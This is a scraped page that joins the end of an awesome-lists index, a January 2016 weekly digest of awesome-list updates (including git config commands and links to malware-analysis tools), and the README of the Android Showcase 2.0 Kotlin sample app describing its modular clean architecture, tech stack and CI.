championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

# Awesome List Updates on Jan 04 - Jan 10, 2016 24 awesome lists updated this week. [🏠 Home](/README.md) · [🔍 Search](https://www.trackawesomelist.com/search/) · [🔥 Feed](https://www.trackawesomelist.com/week/rss.xml) · [📮 Subscribe](https://trackawesomelist.us17.list-manage.com/subscribe?u=d2f0117aa829c83a63ec63c2f&id=36a103854c) · [❤️ Sponsor](https://github.com/sponsors/theowenyoung) ## [1. Awesome Tech Videos](/content/lucasviola/awesome-tech-videos/week/README.md) ### Functional Programming / Scala * [Functional Programming; What? Why? When?](https://www.youtube.com/watch?v=7Zlp9rKHGD4) By Robert C. Martin * [Learn Functional Programming with PureScript](https://www.youtube.com/watch?v=LqYfdmb0eUU) By John A. De Goes ## [2. Awesome Katas](/content/gamontal/awesome-katas/week/README.md) ### Others * [ES6 Katas](http://es6katas.org/) ## [3. Git Cheat Sheet](/content/arslanbilal/git-cheat-sheet/week/README.md) ### Setup ## Setup ##### Show current configuration: $ git config --list ##### Show repository configuration: $ git config --local --list ##### Show global configuration: $ git config --global --list ##### Show system configuration: $ git config --system --list ##### Set a name that is identifiable for credit when review version history: $ git config --global user.name "[firstname lastname]" ##### Set an email address that will be associated with each history marker: $ git config --global user.email "[valid-email]" ##### Set automatic command line coloring for Git for easy reviewing: $ git config --global color.ui auto ##### Set global editor for commit $ git config --global core.editor vi <hr> ## [4. Awesome Music](/content/ciconia/awesome-music/week/README.md) ### Music Notation * [OpenLilyLib (⭐111)](https://github.com/openlilylib/snippets/) - LilyPond tools - snippets, templates, and extensions. ## [5. Awesome Talks](/content/JanVanRyswyck/awesome-talks/week/README.md) ### Software Development * [Seven Ineffective Coding Habits of Many Programmers](https://vimeo.com/97329157) by **Kevlin Henney** \[01:02:52] ### Web Development * [ClojureScript for Skeptics ](https://www.youtube.com/watch?v=gsffg5xxFQI) by **Derek Slager** \[41:08] ## [6. Awesome Machine Learning](/content/josephmisiti/awesome-machine-learning/week/README.md) ### C++ / Gesture Detection * [grt (⭐812)](https://github.com/nickgillian/grt) - The Gesture Recognition Toolkit (GRT) is a cross-platform, open-source, C++ machine learning library designed for real-time gesture recognition. ### Python / General-Purpose Machine Learning * [pgmpy (⭐2.4k)](https://github.com/pgmpy/pgmpy) A python library for working with Probabilistic Graphical Models. ## [7. Awesome Artificial Intelligence](/content/owainlewis/awesome-artificial-intelligence/week/README.md) ### Videos * [Intelligent agents and paradigms for AI](https://youtu.be/7o2GzSj86e8?t=3457) ## [8. Awesome D3](/content/wbkd/awesome-d3/week/README.md) ### Charts * [EventDrops (⭐1.2k)](https://github.com/marmelab/EventDrops) - A time based/event series interactive visualization ## [9. Awesome Promises](/content/wbinnssmith/awesome-promises/week/README.md) ### Resources, Blogs, and Books / References * [Promisees](https://bevacqua.github.io/promisees/) - Promise visualization playground for the adventurous. ## [10. Awesome Nodejs](/content/sindresorhus/awesome-nodejs/week/README.md) ### Packages / Command-line utilities * [omelette (⭐1.3k)](https://github.com/f/omelette) - Shell autocompletion helper. ## [11. Awesome Shell](/content/alebcay/awesome-shell/week/README.md) ### System Utilities / Directory Navigation * [mtr (⭐2.1k)](https://github.com/traviscross/mtr) - The functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool. ## [12. Awesome Microservices](/content/mfornos/awesome-microservices/week/README.md) ### C * [Libasyncd (⭐168)](https://github.com/wolkykim/libasyncd/) - Embeddable event-based asynchronous HTTP server library for C. * [Onion (⭐1.9k)](https://github.com/davidmoreno/onion) - C library to create simple HTTP servers and web applications. ### C++ * [Pion (⭐295)](https://github.com/splunk/pion) - C++ framework for building lightweight HTTP interfaces. ### Messaging / Scala * [Malamute (⭐306)](https://github.com/zeromq/malamute) - ZeroMQ enterprise messaging broker. ### REST / Scala * [Slate (⭐35k)](https://github.com/tripit/slate) - Beautiful static documentation for your API. ## [13. Awesome Purescript](/content/passy/awesome-purescript/week/README.md) ### Asynchronicity and Parallelism * [purescript-aff (⭐271)](https://github.com/slamdata/purescript-aff) - An asynchronous effect monad for PureScript. * [purescript-affjax (⭐271)](https://github.com/slamdata/purescript-aff) - An asynchronous AJAX library built using Aff. ## [14. Awesome Angular](/content/PatrickJS/awesome-angular/week/README.md) ### [Google Developer Experts](https://developers.google.com/experts/all/technology/web-technologies) * [Raúl Jiménez](https://twitter.com/elecash/) ## [15. Toolsforactivism](/content/drewrwilson/toolsforactivism/week/README.md) ### Open-source host-it-yourself: * [Countdown (⭐38)](https://github.com/drewrwilson/countdown) - A quick & simple tool for making your own webpage with a countdown to your upcoming event. ### Software as a service: * [Loomio](https://www.loomio.org/) - Tool for collaborative decision-making in groups. Note: Loomio's [code is also open source (⭐2.1k)](https://github.com/loomio/loomio), but it's generally used as a hosted service. * [ControlShift](https://www.controlshiftlabs.com/) - Distributed petitions, events and local groups for progressive advocacy organizations. Tools to help make campaigns more participatory. ### Projects to keep an eye on (ie projects in development) * [Day of Action (⭐8)](https://github.com/handsupwalkout/handsupwalkout.github.io) - very rough tool used to coordinate a day of action for high school students. the starting point for a more generalized tool to run a day of action campaign ## [16. Awesome Elixir](/content/h4cc/awesome-elixir/week/README.md) ### Applications * [Sprint Poker (⭐175)](https://github.com/elpassion/sprint-poker) - Online estimation tool for Agile teams, written using Elixir Lang, Phoenix Framework and React. ### Images * [elixir\_exif (⭐12)](https://github.com/sschneider1207/ElixirExif) - Parse exif tags and thumbnail data from jpeg files. ## [17. Creative Commons Media](/content/shime/creative-commons-media/week/README.md) ### Graphics * [GameIcons](http://game-icons.net/) - SVG icons for board and video games. ## [18. Awesome Javascript](/content/sorrycc/awesome-javascript/week/README.md) ### Testing Frameworks / Frameworks * [Protractor (⭐8.8k)](https://github.com/angular/protractor) - Protractor is an end-to-end test framework for AngularJS applications. ## [19. Awesome Vue](/content/vuejs/awesome-vue/week/README.md) ### Resources / Podcasts * [Software Engineering Daily (12-29-2015)](http://softwareengineeringdaily.com/2015/12/29/front-end-javascript-with-evan-you/) ## [20. Awesome Laravel](/content/chiraggude/awesome-laravel/week/README.md) ### Community / Local User Groups * [Laravel Malaysia](https://www.facebook.com/groups/laravel.my/) ### Hosted Development Tools / Meetups * [Laravel Shift](https://laravelshift.com/) - Automated upgrade tool for Laravel projects ## [21. Awesome Cpp](/content/fffaraz/awesome-cpp/week/README.md) ### Frameworks * [BDE (⭐1.5k)](https://github.com/bloomberg/bde) - The BDE Development Environment from Bloomberg Labs. \[Apache2] ### Game Engine * [Oxygine](http://oxygine.org/) - A cross-platform 2D C++ game engine. \[MIT] ## [22. Awesome Malware Analysis](/content/rshipp/awesome-malware-analysis/week/README.md) ### Malware Collection / Honeypots * [Honeyd](http://www.honeyd.org/) - Create a virtual honeynet. ### Open Source Threat Intelligence / Tools * [IOC Editor](https://www.fireeye.com/services/freeware/ioc-editor.html) - A free editor for XML IOC files. * [PyIOCe (⭐15)](https://github.com/pidydx/PyIOCe) - A Python OpenIOC editor. * [ThreatTracker (⭐60)](https://github.com/michael-yip/ThreatTracker) - A Python script to monitor and generate alerts based on IOCs indexed by a set of Google Custom Search Engines. ### Open Source Threat Intelligence / Other Resources * [Autoshun](https://www.autoshun.org/) ([list](https://www.autoshun.org/files/shunlist.csv)) - Snort plugin and blocklist. * [STIX - Structured Threat Information eXpression](http://stixproject.github.io) - Standardized language to represent and share cyber threat information. Related efforts from [MITRE](https://www.mitre.org/): * [CAPEC - Common Attack Pattern Enumeration and Classification](http://capec.mitre.org/) * [CybOX - Cyber Observables eXpression](http://cyboxproject.github.io) * [MAEC - Malware Attribute Enumeration and Characterization](http://maec.mitre.org/) * [TAXII - Trusted Automated eXchange of Indicator Information](http://taxiiproject.github.io) ### Deobfuscation / Other Resources * [PackerAttacker (⭐249)](https://github.com/BromiumLabs/PackerAttacker) - A generic hidden code extractor for Windows malware. * [VirtualDeobfuscator (⭐96)](https://github.com/jnraber/VirtualDeobfuscator) - Reverse engineering tool for virtualization wrappers. ### Debugging and Reverse Engineering / Other Resources * [angr (⭐6.2k)](https://github.com/angr/angr) - Platform-agnostic binary analysis framework developed at UCSB's Seclab. * [BARF (⭐1.3k)](https://github.com/programa-stic/barf-project) - Multiplatform, open source Binary Analysis and Reverse engineering Framework. * [binnavi (⭐2.8k)](https://github.com/google/binnavi) - Binary analysis IDE for reverse engineering based on graph visualization. * [Capstone (⭐6k)](https://github.com/aquynh/capstone) - Disassembly framework for binary analysis and reversing, with support for many architectures and bindings in several languages. * [GEF (⭐5.1k)](https://github.com/hugsy/gef) - GDB Enhanced Features, for exploiters and reverse engineers. * [PEDA (⭐5.2k)](https://github.com/longld/peda) - Python Exploit Development Assistance for GDB, an enhanced display with added commands. * [SMRT (⭐61)](https://github.com/pidydx/SMRT) - Sublime Malware Research Tool, a plugin for Sublime 3 to aid with malware analyis. ### Network / Other Resources * [BroYara (⭐32)](https://github.com/hempnall/broyara) - Use Yara rules from Bro. ## [23. Engineering Blogs](/content/kilimchoi/engineering-blogs/week/README.md) ### Individuals/Group Contributors / P individuals * Pamela Fox <http://blog.pamelafox.org/> ### Individuals/Group Contributors / R individuals * Robin Wilson <http://blog.rtwilson.com/> ## [24. Android Security Awesome](/content/ashishb/android-security-awesome/week/README.md) ### Tools / Fuzz Testing * [IntentFuzzer](https://www.nccgroup.trust/us/about-us/resources/intent-fuzzer/) --- - Prev: [Mar 07 - Mar 13, 2016](/content/2016/10/README.md) - Next: [Dec 28 - Jan 03, 2015](/content/2015/52/README.md)

# 💎 Android Showcase 2.0 [](https://kotlinlang.org) [](https://developer.android.com/studio/releases/gradle-plugin) [](https://gradle.org) [](https://codebeat.co/projects/github-com-igorwojda-android-showcase-main) [](https://www.codefactor.io/repository/github/igorwojda/android-showcase) The Android Showcase project exemplifies modern [Android](https://en.wikipedia.org/wiki/Android_(operating_system)) application development methodologies and provides comprehensive architectural guidance. By integrating popular development tools, libraries, linters, and Gradle plugins, along with robust testing frameworks and Continuous Integration (CI) setup, this project offers a holistic sample of a fully operational Android application. The primary focus of this project lies in promoting a modular, scalable, maintainable, and testable [architecture](#architecture). It incorporates a leading-edge [tech-stack](#tech-stack) and embodies the finest practices in software development. While the application may appear straightforward, it encompasses all the crucial components that lay the groundwork for a robust, large-scale application. The design principles and architectural choices applied in this project are ideally suited for larger teams and extended [application lifecycles](https://en.wikipedia.org/wiki/Application_lifecycle_management). This application is not just about showcasing functionalities, but it is also a testament to how well-structured and well-written code serves as a stable backbone for scalable and maintainable software development projects. - [💎 Android Showcase 2.0](#-android-showcase-20) - [Application Scope](#application-scope) - [Tech-Stack](#tech-stack) - [Architecture](#architecture) - [Module Types And Module Dependencies](#module-types-and-module-dependencies) - [Feature Module Structure](#feature-module-structure) - [Presentation Layer](#presentation-layer) - [Domain Layer](#domain-layer) - [Data Layer](#data-layer) - [Data Flow](#data-flow) - [Dependency Management](#dependency-management) - [Logcat debugging](#logcat-debugging) - [CI Pipeline](#ci-pipeline) - [Pull Request Verification](#pull-request-verification) - [Design Decisions](#design-decisions) - [What This Project Does Not Cover?](#what-this-project-does-not-cover) - [Getting Started](#getting-started) - [Android Studio](#android-studio) - [Command-line And Android Studio](#command-line-and-android-studio) - [Plugins](#plugins) - [Upcoming Improvements](#upcoming-improvements) - [Inspiration](#inspiration) - [Cheatsheet](#cheatsheet) - [Android Projects](#android-projects) - [Known Issues](#known-issues) - [Contribute](#contribute) - [Author](#author) - [License](#license) - [Animations License](#animations-license) ## Application Scope The android-showcase is a simple application that presents information about various music albums. This data is dynamically sourced from the [Last.fm](https://www.last.fm/api) music platform API. The app has a few screens located in multiple feature modules: - Album list screen - displays list of albums - Album detail screen - display information about the selected album - Profile screen - empty (WiP) - Favourites screen - empty (WiP) <br/><br/> <p> <img src="misc/image/screen_album_list.webp" width="250" /> <img src="misc/image/screen_album_detail.webp" width="250" /> <img src="misc/image/screen_favorites.webp" width="250" /> </p> ## Tech-Stack This project takes advantage of best practices, and many popular libraries and tools in the Android ecosystem. Most of the libraries are in the stable version unless there is a good reason to use non-stable dependency. * Tech-stack * [100% Kotlin](https://kotlinlang.org/) + [Coroutines](https://kotlinlang.org/docs/reference/coroutines-overview.html) - perform background operations + [Kotlin Flow](https://kotlinlang.org/docs/flow.html) - data flow across all app layers, including views + [Kotlin Symbol Processing](https://kotlinlang.org/docs/ksp-overview.html) - enable compiler plugins + [Kotlin Serialization](https://kotlinlang.org/docs/serialization.html) - parse [JSON](https://www.json.org/json-en.html) * [Retrofit](https://square.github.io/retrofit/) - networking * [Jetpack](https://developer.android.com/jetpack) * [Compose](https://developer.android.com/jetpack/compose) - modern, native UI kit * [Navigation](https://developer.android.com/topic/libraries/architecture/navigation/) - in-app navigation * [Lifecycle](https://developer.android.com/topic/libraries/architecture/lifecycle) - perform an action when lifecycle state changes * [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel) - store and manage UI-related data in a lifecycle-aware way * [Room](https://developer.android.com/jetpack/androidx/releases/room) - store offline cache * [Koin](https://insert-koin.io/) - dependency injection (dependency retrieval) * [Coil](https://github.com/coil-kt/coil) - image loading library * [Lottie](http://airbnb.io/lottie) - animation library * Modern Architecture * [Clean Architecture](https://blog.cleancoder.com/uncle-bob/2012/08/13/the-clean-architecture.html) * Single activity architecture using [Navigation component](https://developer.android.com/guide/navigation/navigation-getting-started) * MVVM + MVI (presentation layer) * [Android Architecture components](https://developer.android.com/topic/libraries/architecture) ([ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel) , [Kotlin Flow](https://kotlinlang.org/docs/flow.html) , [Navigation](https://developer.android.com/jetpack/androidx/releases/navigation)) * [Android KTX](https://developer.android.com/kotlin/ktx) - Jetpack Kotlin extensions * UI * Reactive UI * [Jetpack Compose](https://developer.android.com/jetpack/compose) - modern, native UI kit (used for Fragments) * [View Binding](https://developer.android.com/topic/libraries/view-binding) - retrieve XML view ids (used for [NavHostActivity](app/src/main/java/com/igorwojda/showcase/app/presentation/NavHostActivity.kt) only) * [Material Design 3](https://m3.material.io/) - application design system providing UI components * Theme selection * [Dark Theme](https://material.io/develop/android/theming/dark) - dark theme for the app (Android 10+) * [Dynamic Theming](https://m3.material.io/styles/color/dynamic-color/overview) - use generated, wallpaper-based theme (Android 12+) * CI * [GitHub Actions](https://github.com/features/actions) * Automatic PR verification including tests, linters, and 3rd online tools * Testing * [Unit Tests](https://en.wikipedia.org/wiki/Unit_testing) ([JUnit 5](https://junit.org/junit5/) via [android-junit5](https://github.com/mannodermaus/android-junit5)) - test individual classes * [Konsist](https://docs.konsist.lemonappdev.com/) - test code conventions and architectural rules * [UI Tests](https://en.wikipedia.org/wiki/Graphical_user_interface_testing) ([Espresso](https://developer.android.com/training/testing/espresso)) - test user interface (WiP) * [Mockk](https://mockk.io/) - mocking framework * [Kluent](https://github.com/MarkusAmshove/Kluent) - assertion framework * Static analysis tools (linters) * [Ktlint](https://github.com/pinterest/ktlint) - verify code formatting * [Detekt](https://github.com/arturbosch/detekt#with-gradle) - verify code complexity and code smells * [Android Lint](http://tools.android.com/tips/lint) - verify Android platform usage * Gradle * [Gradle Kotlin DSL](https://docs.gradle.org/current/userguide/kotlin_dsl.html) - define build scripts * Custom tasks * [Gradle Plugins](https://plugins.gradle.org/) * [Android Gradle](https://developer.android.com/studio/releases/gradle-plugin) - standard Android Plugins * [Test Logger](https://github.com/radarsh/gradle-test-logger-plugin) - format test logs * [SafeArgs](https://developer.android.com/guide/navigation/navigation-pass-data#Safe-args) - pass data between navigation destinations * [Android-junit5](https://github.com/mannodermaus/android-junit5) - use [JUnit 5](https://junit.org/junit5/) with Android * [Versions catalog](https://docs.gradle.org/current/userguide/platforms.html#sub:version-catalog) - define dependencies * [Type safe accessors](https://docs.gradle.org/7.0/release-notes.html) * GitHub Boots * [Renovate](https://github.com/renovatebot/renovate) - automatically update dependencies * [Stale](https://github.com/marketplace/stale) - automatically close stale Issues and Pull Requests that tend to accumulate during a project * Other Tools * Charles Proxy - enabled network traffic sniffing in `debug` builds. ## Architecture By dividing a problem into smaller and easier-to-solve sub-problems, we can reduce the complexity of designing and maintaining a large system. Each module is an independent build block serving a clear purpose. We can think about each feature as a reusable component, the equivalent of [microservice](https://en.wikipedia.org/wiki/Microservices) or private library. The modularized code-base approach provides a few benefits: - reusability - enable code sharing and building multiple apps from the same foundation. Apps should be a sum of their features where the features are organized as separate modules. - [separation of concerns](https://en.wikipedia.org/wiki/Separation_of_concerns) - each module has a clear API. Feature-related classes live in different modules and can't be referenced without explicit module dependency. We strictly control what is exposed to other parts of your codebase. - features can be developed in parallel eg. by different teams - each feature can be developed in isolation, independently from other features - faster build time ### Module Types And Module Dependencies This diagram presents dependencies between project modules (Gradle sub-projects).  We have three kinds of modules in the application: - `app` module - this is the main module. It contains code that wires multiple modules together (class, dependency injection setup, `NavHostActivity`, etc.) and fundamental application configuration (retrofit configuration, required permissions setup, custom `Application` class, etc.). - `feature_x` modules - the most common type of module containing all code related to a given feature. share some assets or code only between `feature` modules (currently app has no such modules) - `feature_base` modules that feature modules depend on to share a common code. ### Feature Module Structure `Clean Architecture` is implemented at the module level - each module contains its own set of Clean Architecture layers:  > Notice that the `app` module and `library_x` modules structure differs a bit from the feature module structure. Each feature module contains non-layer components and 3 layers with a distinct set of responsibilities.  #### Presentation Layer This layer is closest to what the user sees on the screen. The `presentation` layer mixes `MVVM` and `MVI` patterns: - `MVVM` - Jetpack `ViewModel` is used to encapsulate a `common UI state`. It exposes the `state` via observable state holder (`Kotlin Flow`) - `MVI` - `action` modifies the `common UI state` and emits a new state to a view via `Kotlin Flow` > The `common state` is a single source of truth for each view. This solution derives from > [Unidirectional Data Flow](https://en.wikipedia.org/wiki/Unidirectional_Data_Flow_(computer_science)) and [Redux > principles](https://redux.js.org/introduction/three-principles). This approach facilitates the creation of consistent states. The state is collected via `collectAsUiStateWithLifecycle` method. Flows collection happens in a lifecycle-aware manner, so [no resources are wasted](https://medium.com/androiddevelopers/consuming-flows-safely-in-jetpack-compose-cde014d0d5a3). Stated is annotated with [Immutable](https://developer.android.com/reference/kotlin/androidx/compose/runtime/Immutable) annotation that is used by Jetpack compose to enable composition optimizations. Components: - **View (Fragment)** - observes common view state (through `Kotlin Flow`). Compose transform state (emitted by Kotlin Flow) into application UI Consumes the state and transforms it into application UI (via `Jetpack Compose`). Pass user interactions to `ViewModel`. Views are hard to test, so they should be as simple as possible. - **ViewModel** - emits (through `Kotlin Flow`) view state changes to the view and deals with user interactions (these view models are not simply [POJO classes](https://en.wikipedia.org/wiki/Plain_old_Java_object)). - **ViewState** - common state for a single view - **StateTimeTravelDebugger** - logs actions and view state transitions to facilitate debugging. - **NavManager** - singleton that facilitates handling all navigation events inside `NavHostActivity` (instead of separately, inside each view) #### Domain Layer This is the core layer of the application. Notice that the `domain` layer is independent of any other layers. This allows making domain models and business logic independent from other layers. In other words, changes in other layers will not affect the `domain` layer eg. changing the database (`data` layer) or screen UI (`presentation` layer) ideally will not result in any code change within the `domain` layer. Components: - **UseCase** - contains business logic - **DomainModel** - defines the core structure of the data that will be used within the application. This is the source of truth for application data. - **Repository interface** - required to keep the `domain` layer independent from the `data layer` ([Dependency inversion](https://en.wikipedia.org/wiki/Dependency_inversion_principle)). #### Data Layer Encapsulates application data. Provides the data to the `domain` layer eg. retrieves data from the internet and cache the data in disk cache (when the device is offline). Components: - **Repository** is exposing data to the `domain` layer. Depending on the application structure and quality of the external API repository can also merge, filter, and transform the data. These operations intend to create a high-quality data source for the `domain` layer. It is the responsibility of the Repository (one or more) to construct Domain models by reading from the `Data Source` and accepting Domain models to be written to the `Data Source` - **Mapper** - maps `data model` to `domain model` (to keep `domain` layer independent from the `data` layer). This application has two `Data Sources` - `Retrofit` (used for network access) and `Room` (local storage used to access device persistent memory). These data sources can be treated as an implicit sub-layer. Each data source consists of multiple classes: - **Retrofit Service** - defines a set of API endpoints - **Retrofit Response Model** - definition of the network objects for given endpoint (top-level model for the data consists of `ApiModels`) - **Retrofit Api Data Model** - defines the network objects (sub-objects of the `Response Model`) - **Room Database** - persistence database to store app data - **Room DAO** - interact with the stored data - **Room Entity** - definition of the stored objects Both `Retrofit API Data Models` and `Room Entities` contain annotations, so given framework understands how to parse the data into objects. ### Data Flow The below diagram presents application data flow when a user interacts with the `album list screen`:  ## Dependency Management Gradle [versions catalog](https://docs.gradle.org/current/userguide/platforms.html#sub:version-catalog) is used as a centralized dependency management third-party dependency coordinates (group, artifact, version) are shared across all modules (Gradle projects and subprojects). All of the dependencies are stored in the [settings.gradle.kts](./settings.gradle.kts) file (default location). Gradle versions catalog consists of a few major sections: - `[versions]` - declare versions that can be referenced by all dependencies - `[libraries]` - declare the aliases to library coordinates - `[bundles]` - declare dependency bundles (groups) - `[plugins]` - declare Gradle plugin dependencies Each feature module depends on the `feature_base` module, so dependencies are shared without the need to add them explicitly in each feature module. The project enables the `TYPESAFE_PROJECT_ACCESSORS` experimental Gradle feature to generate type-safe accessors to refer other projects. ```kotlin // Before implementation(project(":feature_album")) // After implementation(projects.featureAlbum) ``` ## Logcat debugging To facilitate debuting project contains logs. You can filter logs to understand app flow. Keywords: - `onCreate` see what `Activities` and `Fragments` have been created - `Action` - filter all actions performed on the screens to update the UI - `Http` - debug network requests and responses ## CI Pipeline CI is utilizing [GitHub Actions](https://github.com/features/actions). The complete GitHub Actions config is located in the [.github/workflows](.github/workflows) folder. ### Pull Request Verification Series of workflows run (in parallel) for every opened PR and after merging PR to the `main` branch: * `./gradlew lintDebug` - checks that source code satisfies Android lint rules * `./gradlew detektCheck` - checks that sourcecode satisfies detekt rules * `./gradlew detektApply` - applies detekt code formatting rules to sourcecode in-place * `./gradlew spotlessCheck` - checks that source code satisfies formatting steps. * `./gradlew spotlessApply` - applies code formatting steps to source code in-place. * `./gradlew testDebugUnitTest` - run unit tests * `./gradlew connectedCheck` - run UI tests * `./gradlew :app:bundleDebug` - create application bundle ## Design Decisions Read related articles to have a better understanding of underlying design decisions and various trade-offs. * [Multiple ways of defining Clean Architecture layers](https://proandroiddev.com/multiple-ways-of-defining-clean-architecture-layers-bbb70afa5d4a) * ... ## What This Project Does Not Cover? The interface of the app utilizes some of the modern material design components, however, is deliberately kept simple to focus on application architecture and project config. ## Getting Started There are a few ways to open this project. ### Android Studio 1. `Android Studio` -> `File` -> `New` -> `From Version control` -> `Git` 2. Enter `https://github.com/igorwojda/android-showcase.git` into URL field and press `Clone` button ### Command-line And Android Studio 1. Run `git clone https://github.com/igorwojda/android-showcase.git` command to clone the project 2. Open `Android Studio` and select `File | Open...` from the menu. Select the cloned directory and press `Open` button ### Plugins It is recommended installing [Detekt](https://plugins.jetbrains.com/plugin/10761-detekt) to Android Studio. To configure the plugin open Android Studio preferences, open `Tools`, open `Detekt` and add [detekt.yml](detekt.yml) configuration file. ## Upcoming Improvements This project is under active development and it is being occasionally refined. Check the list of all upcoming [enhancements](https://github.com/igorwojda/android-showcase/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc+label%3Aenhancement). ## Inspiration Here are few additional resources. ### Cheatsheet - [Material Theme Builder](https://m3.material.io/theme-builder#/dynamic) - generate dynamic material theme and see it in action - [Compose Material 3 Components](https://developer.android.com/reference/kotlin/androidx/compose/material3/package-summary) \- a list containing material components - [Core App Quality Checklist](https://developer.android.com/quality) - learn about building the high-quality app - [Android Ecosystem Cheat Sheet](https://github.com/igorwojda/android-ecosystem-cheat-sheet) - board containing 200+ most important tools - [Kotlin Coroutines - Use Cases on Android](https://github.com/LukasLechnerDev/Kotlin-Coroutine-Use-Cases-on-Android) - most popular coroutine usages ### Android Projects Other high-quality projects will help you to find solutions that work for your project (random order): - [Compose Samples](https://github.com/android/compose-samples) - repository contains a set of individual Android Studio - [Jetpack Compose Playground](https://github.com/Foso/Jetpack-Compose-Playground) - This is a Jetpack Compose example project - [Now Android](https://github.com/android/nowinandroid) - fully functional Android app built entirely with Kotlin and Jetpack Compose - [WhatsApp Clone Compose](https://github.com/getStream/whatsApp-clone-compose/) - WhatsApp clone app built with Jetpack Compose and Stream Chat SDK for Compose projects to help you learn about Compose in Android - [Iosched](https://github.com/google/iosched) - official Android application from google IO 2019 and 2021 - [Android Architecture Blueprints v2](https://github.com/googlesamples/android-architecture) - a showcase of various Android architecture approaches to developing Android apps - [Github Browser Sample](https://github.com/googlesamples/android-architecture-components) - multiple small projects demonstrating usage of Android Architecture Components - [Clean Architecture Boilerplate](https://github.com/bufferapp/android-clean-architecture-boilerplate) - clean architecture for Android - [Roxie](https://github.com/ww-tech/roxie) - a solid example of a `common state` approach together with very good documentation - [Kotlin Android Template](https://github.com/cortinico/kotlin-android-template) - the template that lets you create preconfigured Android Kotlin project in a few seconds ### Other - [Software Testing Fundamentals](https://softwaretestingfundamentals.com/) - great summary on application testing ## Known Issues - In Gradle 8.1 the version catalog type safe API is not available for `buildSrc` directory, so dependencies and versions have to be retrieved using type unsafe API: - plugins are retrieved using string plugin ids - versions (`kotlinCompilerExtensionVersion`) are retrieved using string version names - No usages are found for the `suspended` Kotlin `invoke` operator ([KTIJ-1053](https://youtrack.jetbrains.com/issue/KTIJ-1053/Find-usages-no-convention-usages-for-suspend-invoke-operator)) - The `Material You Dynamic Colors` are not correctly applied to Fragment contents (only to Activity) - When using `FragmentContainerView`, `NavController` fragment can't be retrieved by using `findNavController()` ([ISSUE-142847973](https://issuetracker.google.com/issues/142847973), [STACKOVERFLOW-59275182](https://stackoverflow.com/questions/59275009/fragmentcontainerview-using-findnavcontroller/59275182)) - Mockk is unable to mock some methods with implicit `continuation` parameter in the `AlbumListViewModelTest` class ([Issue-957](https://github.com/mockk/mockk/issues/957)), , so test in the `AlbumDetailViewModelTest` was disabled - Automatic Kotlin upgrade is disabled in Renovate, because these dependencies have to be updated together with Kotlin: until: - [Jetpack compose compiler](https://developer.android.com/jetpack/androidx/releases/compose-kotlin) - [KSP](https://repo.maven.apache.org/maven2/com/google/devtools/ksp/symbol-processing-gradle-plugin/) - [Dynamic feature module](https://developer.android.com/studio/projects/dynamic-delivery) is not supported by `ANDROID_TEST_USES_UNIFIED_TEST_PLATFORM` yet. - ktlint `FileName` rule has to be disabled, because it is not compatible with fie contain a single extension [ISSUE-1657](https://github.com/pinterest/ktlint/issues/1657) - Delegate import is not provided when a variable has the same name as Delegate ([KTIJ-17403](https://youtrack.jetbrains.com/issue/KTIJ-17403)) - `androidx.compose.runtime.getValue` and `androidx.compose.runtime.setValue` imports are can't be resolved automatically - they had to be added manually [KTIJ-23200](https://youtrack.jetbrains.com/issue/KTIJ-23200) - [ktlint import-ordering](https://github.com/pinterest/ktlint/blob/master/ktlint-ruleset-standard/src/main/kotlin/com/pinterest/ktlint/ruleset/standard/ImportOrderingRule.kt) rule conflicts with IDE default formatting rule, so it have to be [.editorconfig](.editorconfig) file. and [KTIJ-16847](https://youtrack.jetbrains.com/issue/KTIJ-16847)) - False positive "Unused symbol" for a custom Android application class referenced in `AndroidManifest.xml` file ([KT-27971](https://youtrack.jetbrains.net/issue/KT-27971)) - Android lint complains about exceeding access rights to `ArchTaskExecutor` ([Issue 79189568](https://issuetracker.google.com/u/0/issues/79189568)) - JUnit 5 does not support tests with suspended modifier 